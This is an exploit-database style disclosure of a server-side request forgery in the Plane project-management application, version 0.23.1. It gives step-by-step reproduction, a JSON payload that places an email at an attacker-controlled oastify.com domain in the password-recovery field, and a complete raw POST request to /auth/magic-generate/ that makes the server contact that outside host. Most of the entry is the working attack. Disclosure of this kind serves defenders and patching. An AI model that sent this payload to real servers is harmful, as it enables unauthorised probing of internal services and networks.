Plane 0.23.1 – Server side request forgery (SSRF)
# Exploit Title: Plane - Server side request forgery (SSRF) # Date: 2024-01-13 # Exploit Author: Saud Alenazi # Vendor Homepage: https://plane.so # Software Link: https://github.com/makeplane/plane/releases/tag/v0.23.1 # Version: v0.23.1 # Tested: Windows 10 x64 Description: A Server-Side Request Forgery (SSRF) vulnerability has been identified in the Plane application's password recovery functionality. The issue allows attackers to manipulate the email input field and inject a payload to make the server send HTTP requests to attacker-controlled domains. Steps to Reproduce: 1- Go to the password recovery or login section where the email input is required. 2- Inject the following payload in the email field, replacing the domain with a server you control: {"email":"user@lvkrx2ib577fgpfxvq0f9ek0oruiiagy5.oastify.com"} Send the request: POST /auth/magic-generate/ HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Content-Length: 62 {"email":"user@lvkrx2ib577fgpfxvq0f9ek0oruiiagy5.oastify.com"} 3- Monitor your controlled server to observe the incoming HTTP request from the vulnerable system. |